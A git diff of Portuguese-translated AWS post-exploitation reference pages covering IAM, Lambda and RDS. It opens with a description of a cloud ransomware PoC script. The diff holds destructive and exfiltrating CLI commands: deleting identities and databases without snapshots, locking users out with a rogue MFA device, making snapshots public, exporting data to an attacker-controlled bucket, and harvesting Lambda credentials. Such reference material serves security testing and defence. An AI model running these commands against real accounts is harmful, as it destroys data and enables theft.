Este é o script em python usado. Ele usa AWS creds de uma conta 'victim' e um valor ARN público da AWS para a key que será usada na encriptação. O script fará cópias encriptadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, depois parará cada instância EC2, desanexará os volumes EBS originais, os deletará e, finalmente, deletará todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS encriptados na conta 'victim' alvo. USE SOMENTE ESTE SCRIPT EM UM AMBIENTE DE TESTE; É DESTRUTIVO E DELETARÁ TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas só quero deixar claro que, no fim das contas, isto é um PoC de ransomware.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
@@ -14,11 +14,11 @@ For more information about IAM access:
|
||||
|
||||
Se você **permitir que uma conta externa (A)** acesse uma **role** na sua conta, provavelmente terá **0 visibilidade** sobre **quem exatamente pode acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
|
||||
|
||||
Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir a role na sua organização**. Como a **conta externa B não conhecerá essa string**, mesmo que ela tenha acesso à A, **não poderá acessar sua role**.
|
||||
Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Essa é uma string "secreta" que a conta externa (A) **precisa especificar** para **assume the role in your organization**. Como a **conta externa B não conhecerá essa string**, mesmo que ela tenha acesso à A ela **não conseguirá acessar sua role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No entanto, note que esse "segredo" `ExternalId` **não é um segredo**: qualquer pessoa que puder **ler a IAM assume role policy poderá vê-lo**. Mas enquanto a conta externa A souber dele, e a conta externa **B não souber**, isso **impede que B abuse de A para acessar sua role**.
|
||||
No entanto, note que esse `ExternalId` "segredo" é **não é um segredo**, qualquer pessoa que puder **ler a IAM assume role policy poderá vê-lo**. Mas desde que a conta externa A o conheça, e a conta externa **B não o conheça**, isso **impede que B abuse de A para acessar sua role**.
|
||||
|
||||
Exemplo:
|
||||
```json
|
||||
@@ -39,7 +39,7 @@ Exemplo:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Para um atacante explorar um confused deputy, ele precisará descobrir de alguma forma se os principals da conta atual podem se passar por roles em outras contas.
|
||||
> Para um atacante explorar um confused deputy, ele precisará descobrir de alguma forma se os principals da conta atual podem impersonar roles em outras contas.
|
||||
|
||||
### Confianças inesperadas
|
||||
|
||||
@@ -51,7 +51,7 @@ Exemplo:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Esta política **permite que todo o AWS** assuma a role.
|
||||
Esta política **permite que a AWS inteira** assuma a função.
|
||||
|
||||
#### Serviço como principal
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Esta política **permite que qualquer conta** configure seu apigateway para cham
|
||||
}
|
||||
}
|
||||
```
|
||||
Se um S3 bucket for dado como um principal, porque S3 buckets não têm um Account ID, se você **excluiu seu bucket e o atacante o criou** na conta dele, então ele poderia abusar disso.
|
||||
Se um bucket S3 for especificado como principal, como buckets S3 não possuem um Account ID, se você **excluiu seu bucket e o atacante o criou** na conta deles, então eles poderiam abusar disso.
|
||||
|
||||
#### Não suportado
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Se um S3 bucket for dado como um principal, porque S3 buckets não têm um Accou
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Uma forma comum de evitar problemas de Confused Deputy é usar uma condição com `AWS:SourceArn` para verificar o ARN de origem. No entanto, **alguns serviços podem não suportar isso** (como CloudTrail segundo algumas fontes).
|
||||
Uma maneira comum de evitar problemas do Confused Deputy é usar uma condição com `AWS:SourceArn` para verificar o ARN de origem. Contudo, **alguns serviços podem não suportar isso** (como CloudTrail, segundo algumas fontes).
|
||||
|
||||
### Exclusão de Credenciais
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou desassociar roles de instance profiles. Tais ações podem imediatamente bloquear usuários e aplicações legítimas e causar denial-of-service ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões do IAM devem ser rigorosamente restritas e monitoradas.
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover chaves de acesso, perfis de login, chaves SSH, credenciais específicas de serviço, perfis de instância, certificados ou CloudFront public keys, ou desassociar roles de perfis de instância. Tais ações podem imediatamente bloquear usuários e aplicações legítimas e causar denial-of-service ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões IAM devem ser estritamente restritas e monitoradas.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Exclusão de Identidade
|
||||
Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, um ator pode excluir usuários, funções ou grupos—or alterar a associação a grupos—removendo identidades e vestígios associados. Isso pode interromper imediatamente o acesso de pessoas e serviços que dependem dessas identidades, causando denial-of-service ou perda de acesso, portanto essas ações do IAM devem ser rigidamente restritas e monitoradas.
|
||||
Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, um ator pode excluir usuários, funções ou grupos — ou alterar a associação a grupos — removendo identidades e vestígios associados. Isso pode imediatamente interromper o acesso de pessoas e serviços que dependem dessas identidades, causando negação de serviço ou perda de acesso, portanto essas ações do IAM devem ser rigidamente restritas e monitoradas.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,7 +114,8 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode deletar ou desanexar managed/inline policies, remover policy versions ou permissions boundaries, e desvincular policies de users, groups ou roles. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou denial-of-service para principals que dependiam dessas policies, portanto essas ações do IAM devem ser rigidamente restringidas e monitoradas.
|
||||
###
|
||||
Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode excluir ou desanexar políticas gerenciadas ou inline, remover versões de políticas ou limites de permissão, e desvincular políticas de usuários, grupos ou funções. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou negação de serviço para entidades que dependiam dessas políticas; portanto, essas ações do IAM devem ser estritamente restritas e monitoradas.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -126,8 +127,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Exclusão de identidade federada
|
||||
Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover IDs de cliente. Isso interrompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
|
||||
### Exclusão de Identidade Federada
|
||||
Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover client IDs. Isso rompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -138,7 +139,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Ativação ilegítima de MFA
|
||||
Com `iam:EnableMFADevice`, um atacante pode registrar um dispositivo MFA na identidade de um usuário, impedindo o usuário legítimo de fazer login. Uma vez que um MFA não autorizado é ativado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (nota: se vários dispositivos MFA estiverem registrados, o login requer apenas um, então esse ataque não terá efeito para negar o acesso).
|
||||
Com iam:EnableMFADevice, um ator pode registrar um dispositivo MFA na identidade de um usuário, impedindo o usuário legítimo de efetuar login. Uma vez que um MFA não autorizado é ativado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (observação: se múltiplos dispositivos MFA estiverem registrados, o login exige apenas um, então esse ataque não terá efeito para negar o acesso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -146,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Certificate/Key Metadata Tampering
|
||||
Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um ator pode alterar o status ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, podem quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou indisponibilidade.
|
||||
### Violação de Metadados de Certificado/Chave
|
||||
Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um ator pode alterar o status ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, ele pode quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou disponibilidade.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -158,6 +159,33 @@ aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
O curinga do IAM iam:Delete* concede a capacidade de remover muitos tipos de recursos do IAM—usuários, funções, grupos, políticas, chaves, certificados, dispositivos MFA, versões de políticas, etc.—e, portanto, tem um raio de danos muito grande: um agente com iam:Delete* pode destruir permanentemente identidades, credenciais, políticas e artefatos relacionados, remover auditoria/evidências e causar indisponibilidade de serviços ou falhas operacionais. Alguns exemplos são
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Um ator com a ação iam:EnableMFADevice pode registrar um dispositivo MFA em uma identidade na conta, desde que o usuário não tenha já um habilitado. Isso pode ser usado para interferir no acesso de um usuário: uma vez que um atacante registra um dispositivo MFA, o usuário legítimo pode ser impedido de fazer login porque não controla o MFA registrado pelo atacante.
|
||||
|
||||
Esse ataque de negação de acesso só funciona se o usuário não tinha nenhum MFA registrado; se o atacante registrar um dispositivo MFA para esse usuário, o usuário legítimo será bloqueado de qualquer fluxo que exija esse novo MFA. Se o usuário já possui um ou mais dispositivos MFA sob seu controle, adicionar um MFA controlado pelo atacante não impede o usuário legítimo — ele pode continuar a autenticar usando qualquer MFA que já possua.
|
||||
|
||||
Para habilitar (registrar) um dispositivo MFA para um usuário, um atacante poderia executar:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
@@ -4,21 +4,27 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Para mais informações, consulte:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
### Exfiltrar credenciais do Lambda
|
||||
|
||||
Lambda usa variáveis de ambiente para injetar credenciais em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), poderá usá-las. Elas estão nas variáveis padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa variáveis de ambiente para injetar credenciais em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), pode usá-las você mesmo. Elas ficam nos nomes de variáveis padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Por padrão, essas credenciais terão acesso para escrever em um CloudWatch log group (cujo nome fica em `AWS_LAMBDA_LOG_GROUP_NAME`), assim como para criar log groups arbitrários; entretanto, funções Lambda frequentemente têm mais permissões atribuídas conforme seu uso.
|
||||
Por padrão, essas credenciais terão acesso para escrever em um cloudwatch log group (cujo nome é armazenado em `AWS_LAMBDA_LOG_GROUP_NAME`), além de criar log groups arbitrários; contudo, funções Lambda frequentemente têm mais permissões atribuídas com base no seu uso previsto.
|
||||
|
||||
### `lambda:Delete*`
|
||||
Um atacante com lambda:Delete* pode deletar funções Lambda, versões/aliases, layers, event source mappings e outras configurações associadas.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
Se um atacante de alguma forma conseguir RCE dentro de uma Lambda, ele poderá roubar as requisições HTTP de outros usuários para a Lambda. Se as requisições contiverem informações sensíveis (cookies, credenciais...), ele poderá capturá-las.
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
@@ -26,7 +32,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Abusando de Lambda Layers também é possível explorar extensions e persistir na Lambda, além de roubar e modificar requisições.
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +40,7 @@ Abusando de Lambda Layers também é possível explorar extensions e persistir n
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Forçar uma função Lambda a sair de uma VPC restrita atualizando sua configuração com um VpcConfig vazio (SubnetIds=[], SecurityGroupIds=[]). A função então será executada no plano de rede gerenciado pela Lambda, recuperando o acesso à internet outbound e contornando os controles de egress aplicados por subnets privadas da VPC sem NAT.
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` para fixar uma função a uma versão específica do runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável, facilitando exploração e persistência de longo prazo.
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` usando controles avançados de logging para redirecionar os logs de uma função para um log group do CloudWatch Logs escolhido pelo atacante. Isso funciona sem alterar o código ou a execution role (a maioria das roles do Lambda já inclui `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Se a função imprimir segredos/corpos de requisição ou falhar com stack traces, você pode coletá-los do novo log group.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Transforme uma Lambda Function URL privada em um endpoint público não autenticado mudando o Function URL AuthType para NONE e anexando uma resource-based policy que conceda lambda:InvokeFunctionUrl a todos. Isso permite invocação anônima de funções internas e pode expor operações sensíveis do backend.
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abuse `UpdateEventSourceMapping` para alterar a função Lambda alvo de um Event Source Mapping (ESM) existente, fazendo com que registros do DynamoDB Streams, Kinesis, ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados em tempo real sem tocar nos produtores ou no código da função original.
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma Lambda, então implante código trivial que liste/leia arquivos do caminho montado para exfiltrar segredos/configurações compartilhadas que a função anteriormente não conseguia acessar.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se o atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, criar um DB publicamente acessível a partir desse snapshot.
|
||||
Se o atacante tiver permissões suficientes, ele pode tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -38,9 +38,45 @@ aws rds modify-db-instance \
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Um atacante com rds:StopDBCluster ou rds:StopDBInstance pode forçar a parada imediata de uma RDS instance ou de um cluster inteiro, causando indisponibilidade do banco de dados, conexões interrompidas e a interrupção de processos que dependem do banco.
|
||||
|
||||
Para parar uma única DB instance (exemplo):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Para parar um DB cluster inteiro (exemplo):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Um atacante com rds:Delete* pode remover RDS resources, apagando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatos relacionados, causando interrupção imediata do serviço, perda de dados, destruição de pontos de recuperação e perda de evidências forenses.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Em seguida, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.
|
||||
Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Então, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.
|
||||
|
||||
Se o atacante **não tiver o `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**.
|
||||
```bash
|
||||
@@ -53,7 +89,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente nos logs, o atacante poderia potencialmente usar essa informação para escalar privilégios ou executar ações não autorizadas.
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderia potencialmente usar essas informações para escalar seus privilégios ou executar ações não autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
@@ -61,7 +97,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Um atacante com essas permissões pode **causar DoS em instâncias RDS existentes**.
|
||||
Um atacante com essas permissões pode **DoS instâncias RDS existentes**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
@@ -73,25 +109,25 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante com essa permissão pode **exportar um snapshot de uma instância RDS para um bucket S3**. Se o atacante controlar o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.
|
||||
Um atacante com essa permissão pode **exportar um instantâneo de instância RDS para um bucket S3**. Se o atacante controlar o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis contidos no instantâneo exportado.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replicação Cross-Region de Automated Backups para Restauração Furtiva (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abuse cross-Region automated backups replication para duplicar silenciosamente os automated backups de uma instância RDS em outra Região da AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados out-of-band em uma Região que os defensores podem não monitorar.
|
||||
Abuse a replicação cross-Region de automated backups para duplicar silenciosamente os automated backups de uma RDS instance em outra AWS Region e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha master para acessar os dados out-of-band em uma Region que os defensores podem não monitorar.
|
||||
|
||||
Permissões necessárias (mínimas):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` na Região de destino
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` na Região de destino
|
||||
- `rds:RestoreDBInstanceToPointInTime` na Região de destino
|
||||
- `rds:ModifyDBInstance` na Região de destino
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (limpeza opcional)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para expor o DB restaurado)
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-los publicamente com credenciais controladas pelo atacante.
|
||||
Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Region e expô-los publicamente com credenciais controladas pelo atacante.
|
||||
|
||||
<details>
|
||||
<summary>CLI de ponta a ponta (substitua os placeholders)</summary>
|
||||
@@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Habilitar registro completo de SQL via DB parameter groups e exfiltrate via RDS log APIs
|
||||
### Habilitar logging completo de SQL via DB parameter groups e exfiltrate via RDS log APIs
|
||||
|
||||
Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruções SQL executadas pelas aplicações (credenciais do DB engine não são necessárias). Ative o logging de SQL do engine e extraia os logs de arquivo via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
|
||||
Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruções SQL executadas pelas aplicações (sem necessidade de credenciais do DB engine). Habilite o SQL logging do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
